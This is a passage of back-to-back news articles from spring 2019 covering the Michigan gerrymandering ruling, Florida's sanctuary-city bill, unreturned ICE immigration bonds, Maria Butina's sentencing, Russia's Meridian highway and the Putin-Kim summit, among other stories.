was merely "buying time." He portrayed her as an ambitious entrepreneur who had merely gotten in over her head but had no criminal intent. Spodek said Sorokin was "upset, as anyone would be," following the verdict. But he said he was pleased Sorokin had been acquitted of one of the most serious charges in the indictment: attempting to steal more than $1 million from City National Bank. The verdict followed two days of often tedious deliberations, in which jurors asked for repeated clarification on the law and, in one note to the judge, indicated they had reached a "stalemate" due to a single uncompromising juror. They reached their verdict less than two hours. Federal judges ordered the state of Michigan to draw new legislative districts on Thursday, after finding that a gerrymandered plan enacted by the state's Republican-dominated legislature in 2011 constituted an "extremely grave" constitutional violation. The three-judge panel said it found that the redistricting plan in 34 congressional and state legislative districts was designed to thwart Democratic voters by dispersing their votes into districts where Republicans dominated, in violation of the First and 14th amendments. "Evidence from numerous sources demonstrates that the map-drawers and legislators designed the Enacted Plan with the specific intent to discriminate against Democratic voters," the panel, two judges appointed by President Bill Clinton and one by President George H.W. Bush, wrote in its decision. The panel ordered the state's Republican-controlled legislature to come to an agreement with its newly sworn-in Democratic governor, Gretchen Whitmer, to redraw the districts from the plan before the 2020 elections. If the state officials are unable to come up with new maps by Aug. 1, the court will redraw them itself. The violations were so pronounced, the panel said, that all of the state Senate districts in the plan would need to have special elections, meaning that some lawmakers' four-year terms would be cut short. "The constitutional violations in this case are particularly severe," the panel wrote, saying that the redistricting plan "taints thirty-four total legislative districts across the state, including ten Senate districts." The panel noted that the redistricting plan had advantaged Republicans over the course of several election cycles. In three elections in those districts between 2012 and 2016, Republicans won 64 percent of the state's congressional seats - nine out of 14 - while never earning more than 50.5 percent of the statewide vote, they wrote. The ruling against the state's districts comes amid a series of victories over partisan gerrymandering, an anti-democratic process by which electoral districts are drawn up in such a way to give the political party in charge a majority they might not have earned otherwise. In Maryland and North Carolina in 2018, federal panels - typical for statewide gerrymandering cases - have made similar rulings against districts found to be gerrymandered for partisan gain by Democrats in Maryland, and Republicans in North Carolina. Those cases were some of the first against gerrymandering to find success in the courts. "We've clearly hit a tipping point in partisan gerrymandering litigation around the country," Thomas Wolf, a lawyer at the Brennan Center and an expert on voting rights, said in a phone interview. "As late as 2015, 2016, the idea that voters could walk into court and bring partisan gerrymandering claims and win was far fetched." Now he said, federal judges are developing an understanding about how to handle the issue in the courts, as the issue has worsened over the past 10 years - a change that has been powered in part by an increase in data and computing capabilities. The Supreme Court has never struck down a redistricting plan on the basis of partisan gerrymandering and Chief Justice John Roberts Jr. has expressed some caution about addressing such a political issue in court. But Wolf said that the lower courts were showing the highest court the way. "The lower courts are showing the way - that courts can make sense of these problems and solve them in clear ways," he said, adding that partisan gerrymanders were by nature blatantly unconstitutional. "It also suggests with all of these wins that its the Supreme Court that's really out of step." Like some of the other lawsuits against partisan redistricting plans, the lawsuit in Michigan included some sensational evidence, including an email exchange from a Republican staffer who wrote about finding "a glorious way that makes it easier to cram ALL of the Dem garbage" into four districts. But the panel made clear that they were not ruling on the comments alone, saying they had reviewed an extensive collection of evidence that included testimony from the map-drawers and the legislators who helped enact the redistricting plan, and documentary evidence like emails between the map-drawers, emails from legislators, agenda minutes and the handwritten notes from the weekly leadership meetings, and maps with detailed data about the partisan composition of districts that were used to create the plan. "The breadth of evidence of discriminatory intent," the panel said, rendered the arguments in defense of the plan "meritless." The lawsuit had been brought by the League of Women Voters of Michigan and some Democrats in the state. "We WON!" the organization wrote on its Facebook page. It did not immediately respond to a request for comment. Charlie Spies, a lawyer for the Republican majority in the state's House who defended the redistricting plan, said that they would likely seek a stay on the opinion, as the Supreme Court is deliberating similar cases. The court is currently reviewing two lawsuits against partisan gerrymandering in North Carolina and Maryland. "We will likely seek a stay, and urge caution in drawing conclusions from this opinion, which we believe is at odds with where the Supreme Court will end up," Spies said in an email to The Post. Michigan Secretary of State Jocelyn Benson, a Democrat who inherited her office's status as a defendant on the lawsuit, said she respected the court's decision. "The court's ruling confirms that these Michigan state House and Senate and U.S. congressional districts are unconstitutional," she said in a statement. - - - The Washington Post's Fred Barbash contributed to this report. The Florida Senate approved legislation Friday that would require local officials to comply with federal immigration authorities, a major win for state GOP leaders who are seeking to enact stringent restrictions on so-called "sanctuary cities." The 22 to 18 vote in favor of the bill came two days after the Florida House of Representatives approved its own version of the legislation. The two chambers will now have to reconcile their respective bills before the scheduled end of the legislative session next Friday. The bills would mandate that local governments accept U.S. Immigration and Customs Enforcement requests - known as detainers - that local jails hold suspected undocumented immigrants until federal authorities can take them into custody. Gov. Ron DeSantis, a Republican who took office in January, has made the legislation a top priority this year. Helen Ferre, a DeSantis spokeswoman, said the governor is eager to sign the measure into law. "Governor DeSantis understands that sanctuary cities drive down the wages of Florida workers, erode the rule of law, are unfair to our legal immigrants and incentivize illegal immigration," Ferre said. While the definition of what a sanctuary city means can vary, most analysts say Florida does not have any jurisdiction that matches - many sanctuary cities decline to provide information to federal immigration authorities or turn those who are arrested within their borders over to the feds. A coalition of civil rights groups, social justice advocates, farmers and business leaders had teamed up to try to block the legislation. That led to weeks of emotional debate in a state where 20 percent of residents are foreign-born. Opponents say both the House and Senate bills are drafted so broadly that Florida law enforcement officials would in effect become deputies in President Donald Trump's broader crackdown on undocumented immigrants. Opponents fear that heightened cooperation with ICE will increase racial profiling while also undermining the state economy by eroding its workforce. The Senate bill was sponsored by state Sen. Joe Gruters, the chairman of the Florida Republican Party. The final vote broke down largely along party lines, with one Republican joining all 17 Democrats in opposing the measure. Before the final vote, many Democratic members pleaded with their GOP colleagues to shelve the legislation, arguing it was a mean-spirited attack on immigrant communities. "You are putting a target on these individuals," said state Sen. Perry Thurston, a Democrat. "Let's not hide behind the illusion that we are going after criminals because there is nothing in this legislation that prevents the profiling and targeting of undocumented individuals." Sen. David Simmons, a Republican, countered that he and his GOP colleagues were trying to adhere to the "rule of law." "This legislation is not intended to hurt anyone - it is to provide a mechanism to solve a significant problem that exists in this state today," said Simmons, who noted there are about 775,000 undocumented immigrants living in Florida. House and Senate leaders are expected to meet next week to reconcile the competing versions of the bill. The Senate bill is widely considered to be more moderate than the House version. Under the House bill, state and local government agencies are also expected "to support federal immigration law." The state could fine violators up to $5,000 per day. The Senate bill does not mandate any fines, leaving it up to the state attorney general to enforce the law. The Senate bill also excludes the Florida Department of Children and Families and senators amended the bill Thursday to add protections for undocumented immigrants who have witnessed crimes, according to CBS 4 in Miami. U.S. Immigration and Customs Enforcement is holding onto more than $200 million in bond money that belongs to immigrants who have been in the agency's custody, cash that has yet to be returned to thousands of immigrant families or the U.S. citizens who bailed them out, according to data obtained through open records requests. The unreturned bond money stood at $204 million as of July 31, 2018, according to the data, which immigration law clinics at Stanford University and the University of California Davis obtained and shared exclusively with The Washington Post. The pot of immigrant bond money grew by $57.3 million between September 2014 and July 2018, the data shows. More than 18,000 bond payments went unclaimed in that four-year period, according to the data. Though the trust fund - which the Treasury Department maintains - cannot be used for any other purpose, getting the money back to immigrants and their friends and families has proven to be a difficult and lengthy process. ICE officials said the agency makes multiple attempts to reach the people who posted the bond, but paperwork and checks mailed to them sometimes are undeliverable or receive no response, and it can be impossible to find the people if they moved out of the country. Those who do submit claims, ICE said, receive their funds within a month. ICE did not provide data on average wait times to claim the money, and several lawyers and immigrants told The Post they have in some cases waited a year or longer after submitting for reimbursement. Numerous immigration attorneys said the system for reclaiming the funds is mystifying and nearly impossible to navigate without a lawyer or English language proficiency, and some who paid the bonds are unlikely to see the money again. As bond amounts remain on the rise, lawyers said thousands of people are putting their life savings in ICE's hands to secure an immigrant's temporary freedom without any idea of when or if they'll see the money again. Many immigrants say it takes far longer than a month to reclaim their funds. "The toll on a poor family having to pay thousands of dollars in bond can't be overstated," said Jayashri Srikantiah, director of Stanford's Immigrants' Rights Clinic. "Clearly, something is breaking down when there are hundreds of millions of dollars sitting in an account that belongs to those immigrant families. If nothing else is clear, that is clear." Srikantiah and Holly Cooper, co-director of UC Davis' Immigration Law Clinic, said they intend to push for congressional oversight of ICE's bond system. They said the amassing of bond money indicates a serious problem and could amount to a massive theft from people who can least afford it. Marco Antonio Torres Rojas, a father of three from Mexico, won his immigration case in August, but it took roughly seven months for ICE to return the $25,000 bond his family and friends paid to gain his release - seven years ago. When he was detained in 2012 - for overstaying an HB-2 work visa - an immigration attorney assured his family that paying the $25,000 bond would be the only way to stave off deportation. But for Rojas, a landscaper and snowplow driver in Minnesota, the sum appeared impossible. He and his wife had just a few thousand dollars in savings. So they started pooling money: Three thousand from an aunt. Four thousand from a cousin. Eight thousand from Rojas's closest friend. Sums that drove each into debt. "We felt a sense of desperation," Rojas said. - - - While criminal defendants typically can pay a bondsman 10 percent of the set bail amount to gain release, in the immigration system about 90 percent of bonds require cash for the whole amount upfront. ICE initially sets bonds on a "case-by-case basis," the agency said, though not everyone is eligible for bond or release. For those who are eligible, bonds have been steadily rising since the second half of the Obama administration, after an influx of Central American immigrants. The average bond set by a judge was $3,000 to $5,000 for years, but it rose to $8,000 in fiscal year 2016, according to data from the Executive Office of Immigration Review. Bonds have remained at that level or slightly higher into the first months of fiscal year 2019. Lawyers say the unexplained rises in fees have forced detainees into an impossible choice. "I hear from people who call me asking, 'Should I use the money to pay legal fees or pay the bond fees?" Cooper said. "I only have one truck. If I sell it, it's $5,000." Once the money is raised - often from numerous people in each case - only a U.S. citizen or legal permanent resident can post the bond. Because many immigrants don't have a close relation who fits the definition, they sometimes turn to acquaintances or neighbors, said Michelle Mendez, an immigration attorney at the Catholic Legal Immigration Network in Silver Spring, Maryland. That person, according to ICE policies, is the only one who will ever get a copy of the bond paperwork. Mendez said many immigrants don't know that once the bond is posted, only the person who posted the bond can get it back. "Then life happens," Mendez said. "Maybe they don't keep in touch with the obligor. Maybe the obligor is not a person of integrity - he's a fraudster. Or they just lose touch with the obligor, because the obligor is some random person they found to post the bond." The person who posted the bond money might move across the country or even out of the country; they might lose the original paperwork required to reclaim the money back, creating additional hurdles; the obligor might die. Gloria Contreras Edin, an immigration attorney in Minnesota, said she had one undocumented client whose obligor was on the brink of dying of cancer. Before the man died, her client wheeled him into her office so he could sign over the bond responsibilities to someone else. Her client, Anibal El Verengue, a Guatemalan who lives in Minnesota and was ordered removed in 2015 for entering the country illegally, said he would not have known to do this if he did not have an attorney to advise him. A friend who lives in Idaho and is married to a U.S. citizen offered to be responsible for El Verengue's bond; El Verengue said he has been waiting on a refund of the bond payment since December. He then had to pay a second bond after he was arrested on DUI charges, a bond that is still open, his attorney said. "One friend who I owe money won't even speak to me, because he doesn't trust me anymore," El Verengue said, whose application for asylum is pending. - - - Mendez said she discovered how dire the problem was in 2009, two years after a well-publicized immigration raid at a Baltimore 7-Eleven resulted in numerous deportations. When Mendez checked in on some of the families of the deported men, she discovered they were living in poverty. "I wanted to make sure that when the breadwinner got deported, the family would have some money," Mendez said. "Those were the cases where I started to think, how do we get this money back? Nobody really knew . . . At that point, they're really so far removed from the bond posting - thinking, 'Oh well. I lost my case. I'm not entitled to anything' - that they just let it be." To assist the Baltimore-area families, she started investigating the process for bond refunds: Once an immigrant's case is closed - win or lose - the bond is "canceled" so long as they met the legal conditions that went along with it. The person who posted the bond should receive notice by mail, not the immigrant. "ICE does not notify the alien for whom the bond was executed, because its contract is with the obligor," ICE said in a statement. ICE makes three attempts to locate the person, but if the person who posted the bond did not file paperwork indicating a change of address, it might not be possible to find them. And even those who follow the procedures said the process is rife with delays. Maria Sosa, a legal permanent resident in California, said her husband won his immigration case in October but that she did not receive a bond cancellation notice from ICE until January. Unable to speak English, it took numerous visits to an ICE office to understand what she needed to do to get her money back; she received it on March 29. To pay the $3,000 bond in the first place, Sosa, a worker at a prepackaged food factory, borrowed money from three people and dipped into her savings, which was supposed to fund a visit to Mexico to visit family. While she was waiting for the check from ICE, she said, her father-in-law in Mexico grew seriously ill and died. She said she and her husband could not afford to attend his funeral. "The whole system is created in a way that doesn't foster the accessibility to those funds," Contreras Edin said. "And so many times the money is left and just sits there." ICE pays interest on bond money while unclaimed, up to one year. After that, the funds are transferred to the Treasury Department. The Treasury Department said it does not know what year the $204 million began accumulating. The U.S. government is not allowed to use the money unless immigrants fail to adhere to bond conditions and forfeit it, otherwise known as a bond breach. Bonds can be breached for reasons such as failure to show up in court or failure to turn the immigrant over to authorities if ICE asks the obligor to do so. But there can also be mistakes. Mendez recalled a case in which ICE breached her client's bond for failure to show up to be deported - but her client was still appealing the removal order, and ICE had apparently missed that information, according to 2015 correspondence with ICE she provided to The Post. About $34.5 million in bonds are forfeited each year, money that ICE uses to defray detention and apprehension costs. Advocates at Stanford and UC Davis argue that the arrangement creates a conflict of interest. "They obviously have incentive to not exercise discretion favorably and to breach more bonds," said Emily Child, who worked on the Stanford and UC Davis research with Cooper. "That money goes right back into their pockets." ICE said that all breach decisions can be appealed to the U.S. Citizenship and Immigration Service. When breaching bonds, agents consider whether the violation was an accident or intentional and whether the obligor or immigrant was acting in good faith, ICE said in a statement. Rojas was getting nervous. It was March, and he had been waiting seven months for a check that would be addressed to his brother's wife, the U.S. citizen who posted his bond. He called his attorney, Contreras Edin, expressing his fear that something had fallen through the cracks. The lawyer's office contacted ICE bond specialists. A few weeks later, the check arrived. Cooper and Srikantiah said they believe that working with an attorney is crucial to recovering the bond money, and many immigrants and those who post the bonds don't have lawyers or can't afford one. They argue that ICE's systems are outdated and cumbersome, and they believe immigrants should receive copies of their bond paperwork in a language they can understand, something that could mitigate the possibility of fraud and ensure that those who pay bonds receive the money back when they are entitled to it. "While something like $5,000 or $10,000 might not be a lot of money to the federal government, to an individual family that has pulled all of their money together in order to get a loved one out of detention, it's an incredible amount," Srikantiah said. "With detention growing at the rate it is, we think this is a really good time for Congress to provide some oversight and actually investigate why this is happening." WASHINGTON - A federal judge sentenced Russian gun rights activist Maria Butina to 18 months in prison Friday after calling her plot to penetrate conservative U.S. political circles without disclosing she was working as a foreign agent for the Kremlin "dangerous" and "a threat to our democracy." Butina, 30, pleaded guilty in December to conspiring with a senior Russian official to access the National Rifle Association and other groups without registering with the U.S. Justice Department from 2015 until she was arrested and detained in July. U.S. District Judge Tanya Chutkan of Washington credited Butina with the more than nine months she already has served in jail and granted a request to expedite her deportation after she completes her sentence. Butina's networking efforts, facilitation of a visit to Russia by NRA leaders, and other actions "were all used to establish back channel lines of communication to advance Russian interests. The conduct was sophisticated and penetrated deep into political organizations," Chutkan said. While possibly legal otherwise, it was because Butina failed to register with the U.S. Attorney General that her actions "were so dangerous and constituted a threat to our democracy," by denying U.S. authorities and targeted groups the opportunity to respond "at a time when the Russian government was working to interfere in and affect the American electoral process," the judge said. Butina was the first Russian national convicted of seeking to influence American policy in the run-up to the 2016 election, though her case was handled by the U.S. attorney's office for the District of Columbia and the Justice Department's national security division, not by special counsel Robert Mueller III. After the hearing, Robert Driscoll, one of Butina's lawyers, said he "disagreed strongly" with the sentence and said the case had been marked from the start by "complete and utter Russophobia." Butina admitted to working as an undeclared agent of a foreign government, but she did not admit and was not charged with espionage. In court, Butina said, "ignorance of the law is not an excuse, in the United States or in Russia, and so I humbly request forgiveness." She asked for a chance to go home, saying she had hoped for a career in international policy while studying at American University and to bolster her resume and build bridges between Russia and the U.S. "The United States has always been kind to me, and though it was not my intention to harm the American people, I did that by not notifying the Attorney General of my actions. I deeply regret this crime," said Butina, dressed in a green prison uniform and speaking clearly but emotionally. "Please accept my apology and allow me to begin again." In plea papers, Butina said she worked under the direction of Alexander Torshin, a former Russian government official, and with an American political operative on a multiyear scheme to establish unofficial lines of communications with Americans who could influence U.S. politics. Butina was motivated by good intentions of improving political relations, her attorneys, . Driscoll and Alfred Carry, said. They added that she was remorseful and "has done everything she could to atone for her mistakes through cooperation and substantial assistance." Driscoll noted after the hearing that the judge referenced Russian interference in the 2016 election even though Butina was interviewed only once after her guilty plea by investigators working for Mueller. Her case does not appear anywhere in the 448-page redacted Mueller report published last week. Driscoll also warned the government's theory of the case would apply "broadly to a large number of people," indicating that many non-Russian foreign nationals engage in similar activities as do Americans living abroad. He said he hopes Butina will be released and will return to Russia as early as November. At sentencing, Chutkan noted that Butina was a legitimate, hard-working graduate student, but added, "She was not simply seeking to learn about the U.S. political system. She was seeking to collect information about individuals and organizations that could be helpful to the Russian government, under the direction of a Russian official and for the benefit of the Russian government." Butina's plan, which she called the "Diplomacy Project," targeted the conservative movement, and gun rights groups in particular, as a way to reach the Republican winner of the 2016 election, who she correctly predicted would be Donald Trump, court filings show. Butina laid out the proposal in March 2015. Over the next two years, citing the NRA's influence on the Republican Party, she traveled to conferences to associate with Republican presidential candidates, hosted "friendship dinners" with wealthy Americans and organized a Russian delegation to attend the influential National Prayer Breakfast in Washington. She gained access to these groups by founding a gun rights group in Russia and serving as an interpreter for Torshin, a lifetime NRA member and a former Russian senator and deputy governor of the country's central bank. Though Butina was not a traditional spy or a trained intelligence officer, her work could be used to target politically powerful Americans for Kremlin recruitment later and was of "immense" value to the Russian Federation, lead prosecutor Assistant U.S. Attorney Erik Kenerson said. While Butina's actions "did not involve dead drops or spy tradecraft," Kenerson said in court, they posed "serious potential harm to the U.S. political process, as well as foreign policy interests and nationals security," by giving Russian intelligence agencies access to powerful individuals who could shape U.S. policy. Court documents indicate Butina worked closely with a Republican Party consultant, with whom she had a romantic relationship after they met when he visited Moscow in 2013. He has been identified by government officials as Paul Erickson, a longtime GOP political adviser from South Dakota who managed the 1992 presidential campaign of Pat Buchanan. Erickson was indicted in February in South Dakota over what federal prosecutors said was an unrelated investment-fraud scheme. Erickson's attorney, William Hurd, has said his client is a "good American" who "has never done anything to hurt our country and never would." "Maria Butina is a political prisoner, a victim of repressive #US justice norms and a provocation masterminded by the U.S. special services," the Russian embassy said on its Twitter account. "We insist on our compatriot's innocence. We demand her immediate release. China Aviation Daily | Apr. 24, 2019 SAS will operate a Boeing 737 on the route on Saturdays from January to March. The winter period is seen as a particularly attractive time to visit Northern Norway, so SAS has reached agreements with numerous companies in the tourism sector to attract tourists to the "Paris of the North", Troms. "Northern Norway, with Troms as the jewel in the crown, is attracting more and more attention internationally for its stunning scenery and exotic environment, so in response SAS is improving its services further to meet demand," says Karl Sandlund, EVP Commercial, SAS. SAS is working with various companies, including tour operator Nordic in Belgium, in conjunction with this initiative, which is very relevant to the tourist market in the BeNeLux countries. "Nordic breathes Norway, the country has been our main destination since we started in 1980. We are delighted to collaborate with national carrier Scandinavian Airlines on a direct connection to Troms. With this connection, we enter a new era. Not only does it open up professional opportunities, it also allows us to provide an even better service to our customers. We could not be more proud to partner with Scandinavian Airlines for this milestone," says Mr Maarten Raes, CEO, Nordic & Xplore The North. During the year, SAS brings several thousand tourists from Asia and USA to the region, and through this direct link, SAS is further improving connections to and from Europe. SAS is also finding that the direct routes from Copenhagen and Stockholm to Troms are popular traffic arteries for people flying from destinations across the Star Alliance network. SAS expects to fly almost 100,000 passengers between Troms and Europe during the winter programme, which extends from November 2019 to March 2020. SAS operates a three-class system on its flights within Europe, SAS Go Light; SAS Go, which also includes a 23kg checked bag, newspapers, coffee and tea on board, and SAS Plus which offers additional premium benefits including complimentary lounges, Fast Travel security, premium check-in, complimentary food and drink and an additional piece of 23kg luggage and fully flexible tickets. SAS operates a modern fleet, aiming to always offer the most sustainable way of flying, with the airline aiming to reduce emissions by 25% by 2030. Additional sustainable actions include SAS carbon offsetting all travel for its EuroBonus travelers, as well as those traveling on a SAS Youth Ticket, with a simple and quick option offered to all passengers who also wish to carbon offset their journey. Contributed by SAS In his effort to push through the crowded room of 2020 Democratic presidential candidates, Pete Buttigieg, the gay mayor of South Bend, Indiana, has regularly brought up his Christian faith and his experience balancing scripture with his sexuality. "It can be challenging to be a person of faith who's also part of the LGBTQ community and yet, to me, the core of faith is regard for one another," the candidate said Monday at a CNN town hall. "And part of God's love is experienced, according to my faith tradition, is in the way that we support one another and, in particular, support the least among us." By embracing and reconciling two identities that have often been pitted against one another in modern American discourse, Buttigieg has put himself on a collision course with Christian evangelicals, the deeply conservative GOP backbone that has pushed back against LGBTQ rights. On Wednesday, one of President Donald Trump's most vocal evangelical supporters, Franklin Graham, son of the prominent evangelist Billy Graham, set off that showdown with a series of tweets attacking the South Bend mayor on the grounds of faith. "Mayor Buttigieg says he's a gay Christian," Graham wrote. "As a Christian I believe the Bible which defines homosexuality as sin, something to be repentant of, not something to be flaunted, praised or politicized. The Bible says marriage is between a man & a woman - not two men, not two women." Graham continued, "The core of the Christian faith is believing and following Jesus Christ, who God sent to be the Savior of the world - to save us from sin, to save us from hell, to save us from eternal damnation." The attacks come as Buttigieg, 37, an Afghanistan war veteran who is in a same-sex marriage, continues to poll in third place among Democratic presidential hopefuls behind former Vice President Joe Biden and Sen. Bernie Sanders, I-Vt., in the latest Monmouth University data on the Iowa caucuses. Buttigieg, an Episcopalian, has called out the evangelical crowd for supporting a president whose past behavior falls short of the moral guidelines of Christians. More for you Pete Buttigieg's bad take on Bernie Sanders "I'm reluctant to comment on another person's faith, but I would say it is hard to look at this president's actions and believe that they're the actions of somebody who believes in God," Buttigieg said earlier this month. "I just don't understand how you can be as worshipful of your own self as he is and be prepared to humble yourself before God. I've never seen him humble himself before anyone." In particular, the 2020 candidate has taken issue with Vice President Mike Pence. Although the two men had a working relationship when Pence served as Indiana governor, Buttigieg has regularly targeted the "hypocrisy" of supporting a man like Trump. "How would he allow himself to become the cheerleader for the porn star presidency? Is it that he stopped believing in scripture when he started believing Donald Trump?" Buttigieg said at a CNN town hall in March. "I don't know. I don't know." In the past Graham has explained his support of the president, telling "Axios on HBO" Trump has "admitted his faults" but "defends the [Christian] faith. As The Washington Post reported, Pence has pushed back against the mayor's comments. Earlier this month, Graham also came to the vice president's defense, and also used the opportunity to take aim at Buttigieg's interpretation of faith. "I have such a great respect for the Vice President, for his leadership in our nation, for his personal integrity, and for his Christian faith," the evangelical preacher wrote in an April 11 Facebook post. "Using new terms like 'Progressive Christianity' and the 'Christian Left' may sound appealing to some, but God's laws and standards do not change. He says, 'For I am the Lord, I change not.' I believe what the Bible says is truth." Graham's comments on Wednesday have already ignited fierce reaction among both Buttigieg supporters and commentators. "When religious leaders cherry pick when they'll criticize politicians for faith-based reasons they make the faith seem like a servant of politics, not God," writer Jonah Goldberg posted on Twitter. "It's sad." At the first Belt and Road summit in Beijing two years ago, Vladimir Putin offered little more than platitudes for Xi Jinping's global infrastructure initiative, essentially calling China's "project of the century" a welcome new plank in Russia's own strategy for ending American hegemony. Since then, deep-pocketed Chinese companies have intensified their march across Asia, Africa and beyond, including into Italy, the first Group of Seven member to commit to the project. The speed and scope of the Belt and Road roll out -- 125 nations have now signed on in some form -- is alarming the U.S. and most of the European Union. They say Xi's one-party state is fueling corruption and indebtedness to exploit weaker countries for political and even military gain. Putin is back in Beijing now for the new Silk Road's second forum and this time, with opposition to Xi's grand vision growing in the West, he's bringing more than just bromides. After six years of wrangling, Russia has quietly approved its first project designed specifically for the Belt and Road Initiative -- a toll road linking China's western neighbor Kazakhstan with Belarus, which borders Poland and two other EU members. "Russia is very important for the Belt and Road, you need its cooperation to achieve success with Eurasian countries," said Wang Yiwei, a former Chinese diplomat in Brussels who's now a professor at Renmin University in Beijing. "You cannot bypass Russia." For all of the proposed road's strategic, if not economic, significance, officials in Moscow say it's too early to talk about because financing and other details are still being worked out. What little Russia has said about it boils down to a single sentence buried in the 110-page blueprint for Putin's "National Projects" that was published in February: "By the end of 2024, the Russian section of the Meridian toll highway will be built." In Beijing Friday, Putin told Xi that Russia's relations with China had reached "an unprecedentedly high level" and called Belt and Road "an extremely important initiative." But he didn't specifically mention Meridian in his public comments. The Kremlin's reticence to discuss what seems to be something of a diplomatic breakthrough -- given that Meridian has been on the drawing board since China first unveiled what's now known as the BRI in 2013 -- may be as much about negotiating tactics as it is about offering political cover to an increasingly important ally. A string of BRI scandals, including in Malaysia and Sri Lanka, and the growing chorus of criticism from the West has prompted China to retool the initiative to keep it on track. Officials and participants at this year's conference said Thursday that Beijing is taking a range of steps to exert more control over the initiative, including clarifying rules for state-run enterprises, restricting use of the BRI brand and improving auditing and anti-graft measures. What is known about Meridian is that it would stretch about 2,000 kilometers (roughly 1,240 miles), from the Orenburg region on the Kazakh border to a junction of the existing Minsk-Moscow highway that runs between the Belarusian and Russian capitals. The toll road would shorten trucking routes between cargo hubs in western China and central Europe and may offer a faster, if more expensive, alternative to the three main rail corridors already in operation, all of which are booming. One of the many things Russia hasn't said about its proposed Belt and Road entry is how it will be paid for. Russia's state development bank, Vnesheconombank (known as VEB), received a 65 billion yuan ($9.7 billion) credit line from the China Development Bank last year and is considering using part of that to fund construction of the new highway, according to a person close to VEB Chief Executive Officer Igor Shuvalov, who served as Putin's first deputy prime minister for more than a decade. "We're still analyzing, together with the initiator of Meridian, possibilities for structuring and raising funds," VEB spokesman Andrei Samokhin said. "Given the scale of the project, we consider it expedient to form a pool of investors and lenders, but we don't exclude the possibility of attracting funding from our Chinese partners." The "initiator," Alexander Ryazanov, a former deputy chairman of gas giant Gazprom, put the initial cost of the project at 594 billion rubles ($9.2 billion), with a break-even timeline of 12 to 14 years. He said his Russian Holding Co. already owns about 80 percent of the land the road would run through. Russian Holding owns 100 percent of Meridian, but will become a minority shareholder once private investors commit, Ryazanov said in an interview in Moscow. He said he intends to focus on making money off the truck stops, hotels and retail shops he plans to build along the route. Igor Nikolaev, director of strategic analysis at FBK, a consulting company in Moscow, said Meridian is the kind of project that "ticks all the boxes" for Putin. "It would tie Russia closer to China, strengthen Russia's role as a transit country and feed investment into undeveloped areas," he said. "But without China's full backing it will be impossible to implement." That may come down to the personal chemistry between Putin and Xi, who seem to grow closer with each new conflict one or the other has with the U.S., according to Alexander Gabuev, an expert on the Asia-Pacific region at the Carnegie Moscow Center. "China will want some kind of guarantees of profitability with Meridian, plus the use of Chinese equipment and labor," Gabuev said. "Of course, Putin can ask Xi directly to waive those demands, but the limit of such requests isn't infinite. In fact, U.S. sanctions are simply pushing Russia into the arms of the Chinese." - - - Bloomberg's Aliaksandr Kudrytski, Anna Andrianova, Andrey Biryukov, Peter Martin and Olga Tanas contributed. Vladivostok, Russia President Vladimir Putin says he's willing to share details with the United States about his summit on Thursday with Kim Jong Un, potentially raising Russia's influence in the stalemated issue of North Korean denuclearization. The two leaders' first one-on-one did not indicate major changes in North Korea's position: Putin said Kim is willing to give up nuclear weapons, but only if he gets ironclad security guarantees. However, Putin said Kim urged him to explain the nuances of North Korea's position to President Donald Trump. After Thursday's summit in the Pacific port city of Vladivostok, about 75 miles from the North Korean border, Putin stressed that Moscow and Washington both want North Korea to abandon its nuclear weapons. But, he said, the security guarantees Kim demands in exchange should be underwritten by multiple countries, hinting at an arrangement like the six-nation talks Russia participated in until their collapse in 2009. Putin later headed for a two-day trip to Beijing, where he said he will inform the Chinese leadership about the summit. "And we will just as openly discuss this issue with the U.S. leadership," Putin said. "There are no secrets. Russia's position always has been transparent. There are no plots of any kind." Putin's remarks reflect Kim's growing frustration with Washington's efforts to maintain "maximum pressure" until the North commits to denuclearization. His characterization of Kim's comments suggests there have been no major changes in North Korea's position. It has contended that it needs its nuclear arsenal to defend itself against what it sees as U.S. hostility. NEW YORK - Deputy Attorney General Rod Rosenstein hit back hard against politicians and the press Thursday night, and warned that hacking and social media manipulation are "only the tip of the iceberg" when it comes to Russian efforts to influence American elections. Speaking at the Public Servants Dinner of the Armenian Bar Association, Rosenstein unleashed his sharpest critique yet of those who have attacked his handling of special counsel Robert Mueller III's investigative report into Russian election interference and President Donald Trump's conduct. Rosenstein's speech, likely one of his last as a senior Justice Department official, marked his first public comments since the release of the report, and he did not hold back in discussing his tumultous two years as the No. 2 at the Justice Department. During that time, he was castigated by both Republicans and Democrats for a variety of decisions. In the speech, Rosenstein reflected on his time on the job, spoke positively of Trump's commitment to the rule of law, and criticized the press. He also said that, even after the Mueller report documented Russian interference in the 2016 election, that is only a small part of the story. "The bottom line is, there was overwhelming evidence that Russian operatives hacked American computers and defrauded American citizens, and that is only the tip of the iceberg of a comprehensive Russian strategy to influence elections, promote social discord, and undermine America, just like they do in many other countries," Rosenstein said. Rosenstein appointed Mueller as special counsel in May 2017, and has overseen the investigation since. Now that Mueller's work is over and Trump has nominated someone else to be the No. 2 official at the Justice Department, Rostenstein is expected to leave the job as early as next month. In his speech, Rosenstein critiqued Congress, politics, the media, and defended the Justice Department as an institution whose mission is to rise above partisanship and focus on facts. "I do not care how police officers, prosecutors, and judges vote, just as I do not care how soldiers and sailors vote. That is none of my business. I only care whether they understand that when they are on duty, their job is about law and not politics," said Rosenstein, who has worked at the Justice Department for decades. "There is not Republican justice and Democrat justice. There is only justice and injustice," he said. In his speeches, Rosenstein often refers positively to President Trump, and he did so again on Thursday, a week after the Justice Department issued nearly 200 pages of findings documenting instances in which prosecutors and federal agents were concerned the president might have obstructed justice. Ultimately, Mueller did not make a determination as to whether the president broke the law, based partly on the Justice Department's longstanding policy that a sitting president cannot be charged with a crime while in office. Attorney General William Barr reviewed Mueller's findings last month and declared that both he and Rosenstein had determined the president had not obstructed justice. "The rule of law is our most important principle," said Rosenstein. "As President Trump pointed out, 'we govern ourselves in accordance with the rule of law rather [than] . . . the whims of an elite few or the dictates of collective will'." The deputy attorney general recalled that at his confirmation hearing, he made promises about how the Russia investigation would be handled. "I did pledge to do it right and take it to the appropriate conclusion. I did not promise to report all results to the public, because grand jury investigations are ex parte proceedings. It is not our job to render conclusive factual findings," he said. "We just decide whether it is appropriate to file criminal charges." Leading up to the release of the Mueller report, Rosenstein had argued against too much transparency, citing Justice Department policies that generally don't reveal derogatory information about people who have not been charged with a crime, according to people familiar with the discussions. Ultimately, Barr decided to publicly release more. Rosenstein insisted the investigation had been conducted fairly and conscientiously, and as a result, "our nation is safer, elections are more secure, and citizens are better informed about covert foreign influence schemes. But not everybody was happy with my decision, in case you did not notice." He denounced what he called "mercenary critics, who get paid to express passionate opinions about any topic, often with little or no information. They do not just express disagreement. They launch ad hominem attacks unrestricted 